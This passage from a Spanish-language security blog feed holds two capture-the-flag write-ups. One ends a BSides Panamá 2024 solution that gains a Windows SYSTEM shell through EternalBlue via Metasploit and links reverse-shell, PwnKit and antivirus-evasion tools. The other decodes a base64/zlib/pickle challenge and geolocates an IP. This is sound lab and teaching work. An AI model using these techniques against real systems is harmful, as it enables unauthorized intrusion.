<p><code class="language-plaintext highlighter-rouge">nmap -p 445 -sCV --script "vuln and safe" 127.0.0.1 -oN smbScan</code></p>

<p><img src="/assets/img/posts/ctf-bsides-2024/34.png" alt="smbscan" /></p>

<p>Aquí descubrimos que el servidor es vulnerable a <strong>MS17-010</strong>, o mejor conocido como <strong>EternalBlue</strong>.</p>

<p>Por problemas de dependencias en Python 2.7 y la colección de <strong>Impacket</strong> para Python 2, decidí explotar la vulnerabilidad utilizando <strong>Metasploit</strong>.</p>

<p><img src="/assets/img/posts/ctf-bsides-2024/35.png" alt="msf" /></p>

<p>Una vez que se ejecuta, obtenemos una shell en el DC01 como <code class="language-plaintext highlighter-rouge">nt authority\system</code>.</p>

<p><img src="/assets/img/posts/ctf-bsides-2024/36.png" alt="shell" /></p>

<h4 id="flag-acceso-administrador-al-servidor-windows">Flag: Acceso administrador al servidor Windows</h4>

<p>Luego de obtener la shell, en el directorio <code class="language-plaintext highlighter-rouge">C:\Users\Administrador\Desktop</code>, encontramos el archivo <code class="language-plaintext highlighter-rouge">flag.txt</code>, que contiene la última flag que nos hace falta para terminar este CTF.</p>

<p><img src="/assets/img/posts/ctf-bsides-2024/37.png" alt="flag" /></p>

<p><code class="language-plaintext highlighter-rouge">root - a322ca338569fdfd2d32352dd86dab2ee584eefa5971ab3dfa0e934b0f527f79</code></p>

<h2 id="conclusiones">Conclusiones</h2>

<p>Participar en este Capture The Flag no solo me permitió aplicar y fortalecer diversos conocimientos, como la evasión de antivirus e inyecciones SQL, sino que también brindó momentos especiales llenos de diversión y sana competencia durante los desafíos presenciales. Quiero agradecir profundamente a Comunidad DOJO y OYDIA por la creación y desarrollo de este Capture the Flag. Además, quiero expresar mi agradecimiento a mi equipo, formado por Elzer Pineda, Eduardo Luna, y yo, José Navarro, por el esfuerzo que hicimos, que nos llevó a la victoria.</p>

<h2 id="referencias">Referencias</h2>

<ul>
  <li><a href="https://www.exploit-db.com/exploits/51738">Coppermine Gallery 1.6.25 - RCE</a></li>
  <li><a href="https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php">GitHub: php-reverse-shell.php</a></li>
  <li><a href="https://github.com/ly4k/PwnKit">GitHub: ly4k/PwnKit: Self-contained exploit for CVE-2021-4034</a></li>
  <li><a href="https://phpgurukul.com/">PHPGurukul - Programming Blog</a></li>
  <li><a href="https://github.com/Genetic-Malware/Ebowla">GitHub: Genetic-Malware/Ebowla</a></li>
  <li><a href="https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS">GitHub: carlospolop/PEASS-ng</a></li>
  <li><a href="https://github.com/worawit/MS17-010">GitHub: worawit/MS17-010</a></li>
</ul>]]></content><author><name>José Navarro</name></author><summary type="html"><![CDATA[En esta entrada, exploraremos las soluciones y estrategias utilizadas por mi equipo, formado por Elzer Pineda, Eduardo Luna y mi persona, José Navarro, durante el reciente Capture The Flag (CTF) organizado por Comunidad Dojo y OYDIA como parte de la agenda del BSides Panamá 2024, donde obtuvimos el primer lugar.]]></summary></entry><entry><title type="html">Dragonjarctf2023 Reto Cripto</title><link href="https://blog.toadsec.io/2023/10/24/dragonjarctf2023-reto-cripto.html" rel="alternate" type="text/html" title="Dragonjarctf2023 Reto Cripto" /><published>2023-10-24T00:00:00+00:00</published><updated>2023-10-24T00:00:00+00:00</updated><id>https://blog.toadsec.io/2023/10/24/dragonjarctf2023-reto-cripto</id><content type="html" xml:base="https://blog.toadsec.io/2023/10/24/dragonjarctf2023-reto-cripto.html"><![CDATA[<h1 id="dragonjarctf2023---reto-criptografía">DragonjarCTF2023 - Reto Criptografía</h1>

<p>Como todos sabemos, la décima edición de la conferencia DragonJar Security ha concluido, dejándonos una gran cantidad de conocimientos. En este caso, nos tocó enfrentar alrededor de 5 desafíos. No puedo empezar sin mencionar que el conocimiento para resolver este CTF proviene del profesor José Moreno en la clase de Criptografía I.</p>

<h5 id="reto-1---reto-criptográfico-fácil">Reto 1 - Reto Criptográfico (Fácil)</h5>

<p>En este reto se nos planteó una situación hipotética en la que estábamos siendo atacados por una persona externa. El objetivo de este reto era encontrar la flag a partir de una cadena de caracteres.</p>

<p>“Eres la ciberseguridad de una empresa la cual fue atacada. Para llevar a cabo tu misión, hemos podido acceder al ordenador del principal sospechoso, y hemos encontrado  unos datos que no sabemos interpretar. Podría ser una fotografía, texto ASCII o, incluso, una captura de red.</p>

<div class="language-tex highlighter-rouge"><div class="highlight"><pre class="highlight"><code>eNprYEouTk4sqNTLSaxMLSrWyzHici3JSC3iKmRIjk/OT0lNLuZKzQMxuAoZI+wZGBgO70dABjDgYHBlYNBgYGRgcGBTPNQcenjaoZbSegaggAiLAwMUBDApMBg5MTAUMkWwAbk5iSWZeYaFzG2FLEGFrK2FbEGF7BrujjftBF4Gc6X6gUBJIUeSHgB54y28
</code></pre></div></div>

<p>¿Podrías encontrar el país desde el que opera el fiscal corrupto?
La flag del reto será: f<strong>lag{país}</strong>, sustituyendo país por el nombre del país en inglés y escrito en minúsculas.”</p>

<h5 id="conocimientos-necesarios"><strong>Conocimientos Necesarios</strong></h5>

<ul>
  <li>
    <p>Python</p>
  </li>
  <li>
    <p>Base64</p>
  </li>
  <li>
    <p>Cyberchef</p>
  </li>
</ul>

<h5 id="hora-de-realizar-el-reto">Hora de Realizar el reto</h5>

<p>Ahora sí, como quien diría por aquí, vamos al grano. A la hora de afrontar este reto, es de suma importancia reconocer a qué tipo de cadena nos estamos enfrentando. En este caso, podemos utilizar CyberChef para describir exactamente lo que estamos viendo. Puedes encontrarlo en el siguiente enlace:</p>

<p>https://gchq.github.io/CyberChef/</p>

<p>Lo primero que notamos al ingresar la cadena completa de caracteres es que se trata de una codificación Base64. El Base64 se utiliza comúnmente en aplicaciones de transferencia de datos en las que los datos binarios deben ser almacenados y transmitidos a través de canales que solo admiten texto, como el correo electrónico o las URL. La codificación Base64 toma secuencias de bytes y las convierte en una serie de caracteres ASCII legibles. Por lo tanto, debemos decodificar esta cadena de caracteres posteriormente.</p>

<p><img src="/assets/img/posts/DragonCTF2023/1.png" alt="" /></p>

<p>Si profundizamos un poco más y consideramos que proviene de una codificación Base64, podemos notar que estamos tratando con una compresión Zlib Deflate.</p>

<p>Zlib es una biblioteca de software para la compresión de datos que se utiliza para comprimir y descomprimir datos en diversas aplicaciones y formatos de archivos.</p>

<p><img src="/assets/img/posts/DragonCTF2023/2.png" alt="" /></p>

<p>Otra forma que podríamos utilizar para descubrir todo de manera más eficiente es empleando la herramienta “Magic” del panel de operaciones de CyberChef. Esta herramienta nos desglosará toda la información relacionada con el archivo.</p>

<p><img src="/assets/img/posts/DragonCTF2023/3.png" alt="" /></p>

<p>Ahora que sabemos esto, podemos crear fácilmente un script en Python que descodifique la Base64 y, posteriormente, descomprima el Zlib. En este caso, mostraré el script completo y luego explicaré paso a paso cuál será el resultado de la flag.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="n">scapy.layers.inet</span> <span class="kn">import</span> <span class="n">IP</span>
<span class="kn">from</span> <span class="n">scapy.layers.l2</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">import</span> <span class="n">pickle</span>
<span class="kn">import</span> <span class="n">zlib</span>
<span class="kn">import</span> <span class="n">base64</span>

<span class="n">data</span> <span class="o">=</span> <span class="sa">b</span><span class="sh">'</span><span class="s">eNprYEouTk4sqNTLSaxMLSrWyzHici3JSC3iKmRIjk/OT0lNLuZKzQMxuAoZI+wZGBgO70dABjDgYHBlYNBgYGRgcGBTPNQcenjaoZbSegaggAiLAwMUBDApMBg5MTAUMkWwAbk5iSWZeYaFzG2FLEGFrK2FbEGF7BrujjftBF4Gc6X6gUBJIUeSHgB54y28</span><span class="sh">'</span>

<span class="k">try</span><span class="p">:</span>
    <span class="n">decodificado_base64</span> <span class="o">=</span> <span class="n">base64</span><span class="p">.</span><span class="nf">b64decode</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
    <span class="nf">print</span><span class="p">(</span><span class="n">decodificado_base64</span><span class="p">)</span>
    <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="se">\n</span><span class="sh">"</span><span class="p">)</span>
    <span class="n">decodificado_zlib</span> <span class="o">=</span> <span class="n">zlib</span><span class="p">.</span><span class="nf">decompress</span><span class="p">(</span><span class="n">decodificado_base64</span><span class="p">)</span>
    <span class="nf">print</span><span class="p">(</span><span class="n">decodificado_zlib</span><span class="p">)</span>
    <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="se">\n</span><span class="sh">"</span><span class="p">)</span>
    <span class="n">deserializado_pickle</span> <span class="o">=</span> <span class="n">pickle</span><span class="p">.</span><span class="nf">loads</span><span class="p">(</span><span class="n">decodificado_zlib</span><span class="p">)</span>
    <span class="nf">print</span><span class="p">(</span><span class="n">deserializado_pickle</span><span class="p">)</span>
    <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="se">\n</span><span class="sh">"</span><span class="p">)</span>
    <span class="n">decodificado_scapy_ip</span> <span class="o">=</span> <span class="nc">IP</span><span class="p">(</span><span class="n">decodificado_zlib</span><span class="p">)</span>
    <span class="n">decodificado_scapy_ether</span> <span class="o">=</span> <span class="nc">Ether</span><span class="p">(</span><span class="n">decodificado_zlib</span><span class="p">)</span>
    <span class="nf">print</span><span class="p">(</span><span class="n">decodificado_scapy_ether</span><span class="p">.</span><span class="nf">show</span><span class="p">())</span>
<span class="k">except</span> <span class="n">zlib</span><span class="p">.</span><span class="n">error</span><span class="p">:</span>
    <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">No se pudo descomprimir el dato zlib</span><span class="sh">"</span><span class="p">)</span><span class="o">%</span>
</code></pre></div></div>

<p>Este script hace lo siguiente: primero asigna el valor de la cadena Base64 a una variable llamada ‘data_comprimida’, la decodifica y luego la descomprime utilizando la biblioteca zlib. Si todo sale bien, deberíamos obtener dos nuevas cadenas de caracteres. La primera es la ‘data_comprimida’ decodificada desde Base64, y la segunda es la cadena que nos devuelve zlib.</p>

<p><img src="/assets/img/posts/DragonCTF2023/5.png" alt="5" /></p>

<p>Como podemos notar, esta cadena está relacionada con redes, posiblemente se trate de un paquete. ¿Por qué decimos esto? Bueno, existen ciertos indicios que lo sugieren. En primer lugar, observamos que contiene ‘scapy.layer.l2’. Scapy es una biblioteca de Python que se utiliza para interactuar con el tráfico de red, manipular paquetes de red y realizar análisis de protocolos de red.
Pero eso no es todo, si prestamos atención a la salida, podemos notar que encontramos ‘\x80\x02’, lo cual es un indicio de que se trata de un objeto serializado con pickle. Pickle es un módulo en Python que se utiliza para la serialización y deserialización de objetos Python. La serialización es el proceso de convertir un objeto Python en una secuencia de bytes, lo que facilita su almacenamiento en archivos o su transmisión a través de la red.</p>

<p>Para deserializar la cadena, tendremos que utilizar pickle.load y pasarle la cadena descomprimida de zlib. También es importante mencionar que debemos importar las clases IP de Scapy y el módulo pickle. Sabiendo que se trata de un objeto serializado con pickle y que utiliza Scapy.</p>

<p>Si observamos la salida de la imagen anterior, nos proporcionará una dirección IP.</p>

<p><code class="language-plaintext highlighter-rouge">Ether / IP / TCP 85.214.132.117:ftp_data &gt; 127.0.0.1:1088 S</code></p>

<p>Cosas que podemos analizar de esta cadena simple.</p>

<p><strong>Ether:</strong>  Esto nos indica que se trata de un paquete Ethernet, lo que sugiere que es un paquete de red.</p>

<p>La <strong>IP</strong>: Indica que el paquete contiene un encabezado IP, lo que nos dice que se trata de un paquete de red a nivel del Protocolo de Internet, también conocido como IP.</p>

<p><strong>TCP</strong>: Indica que el paquete contiene un encabezado TCP, lo que nos lleva a pensar que se trata de un paquete del protocolo de control de transmisión, que se utiliza para la comunicación a través de conexiones TCP.</p>

<p><strong>85.214.132.117:ftp_data &gt; 127.0.0.1:1088</strong> describe las direcciones y puertos de origen y destino del paquete. En este caso, el paquete se originó en la dirección IP 85.214.132.117 en el puerto ftp_data y se envió al destino con la dirección IP 127.0.0.1 en el puerto 1088.</p>

<p>La ‘S’ generalmente se refiere a la bandera “S” en TCP, que significa “SYN” (synchronize). Esto indica el inicio de una conexión TCP.</p>

<p>Por lo tanto, si observamos los requisitos de la flag en el enunciado del CTF, nos dice que: “La flag del reto será: flag{país}”, sustituyendo ‘país’ por el nombre del país en inglés y escrito en minúsculas.
Para esto, ya tenemos la dirección IP del atacante en este caso, 85.214.132.117.</p>

<p>Para descubrir exactamente el país de origen del ataque, podemos buscar la ubicación de esta dirección IP. En este sentido, utilizaremos la página https://www.iplocation.net/.
Colocamos nuestra dirección IP y vemos que está localizada en Alemania, Berlín, con latitud 52.5245 y longitud 13.4100.</p>

<p><img src="/assets/img/posts/DragonCTF2023/4.png" alt="" /></p>

<p>Con esto llegamos a la conclusión que la flag es <strong>*flag{germany}.*</strong></p>]]></content><author><name>Eduardo Samaniego</name></author><summary type="html"><![CDATA[DragonjarCTF2023 - Reto Criptografía]]></summary></entry></feed>